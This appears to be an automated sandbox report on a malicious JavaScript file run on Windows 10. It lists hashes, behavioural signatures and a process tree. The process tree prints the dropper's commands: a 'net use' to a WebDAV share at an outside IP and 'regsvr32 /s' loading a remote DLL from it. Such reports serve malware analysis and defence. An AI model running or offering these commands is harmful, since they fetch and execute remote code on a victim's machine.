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Analysis

  • max time kernel
    125s
  • max time network
    129s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240704-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/07/2024, 01:12

General

  • Target

    3411955b9b9abc157b3900989f354aa00808fb9292d462f06ea066f7fa7adeec.js

  • Size

    5KB

  • MD5

    d38b94af65789ac47c4a6f65357aced8

  • SHA1

    4825fb5868d60f811ae523b0b766f0b64b1cacae

  • SHA256

    3411955b9b9abc157b3900989f354aa00808fb9292d462f06ea066f7fa7adeec

  • SHA512

    fad2d7115d3fa56145c449b4ba1ce733e8f0d731598e72750af54188c46c1680e821d5df77b65fe6f3931e00263d7f68d40820593f83e844dcfdb28b417b3629

  • SSDEEP

    96:Cq1bP96PVGmP1N1Vn9SqtWbxQbrA/jm7NJNHaT4a4SJNc8NouLFr3hatU0A7NsvF:9QupzwOoEwbfBZ2x3fqIy7kC

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\3411955b9b9abc157b3900989f354aa00808fb9292d462f06ea066f7fa7adeec.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4012
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\3411955b9b9abc157b3900989f354aa00808fb9292d462f06ea066f7fa7adeec.js" "C:\Users\Admin\\erykij.bat" && "C:\Users\Admin\\erykij.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1672
      • C:\Windows\system32\net.exe
        net use \\45.9.74.13@8888\DavWWWRoot\
        3⤵
          PID:2276
        • C:\Windows\system32\regsvr32.exe
          regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\752.dll
          3⤵
            PID:4088
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4268,i,3409420486566309625,12100452682816721435,262144 --variations-seed-version --mojo-platform-channel-handle=3900 /prefetch:8
        1⤵
          PID:1064

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Users\Admin\erykij.bat

          Filesize

          5KB

          MD5

          d38b94af65789ac47c4a6f65357aced8

          SHA1

          4825fb5868d60f811ae523b0b766f0b64b1cacae

          SHA256

          3411955b9b9abc157b3900989f354aa00808fb9292d462f06ea066f7fa7adeec

          SHA512

          fad2d7115d3fa56145c449b4ba1ce733e8f0d731598e72750af54188c46c1680e821d5df77b65fe6f3931e00263d7f68d40820593f83e844dcfdb28b417b3629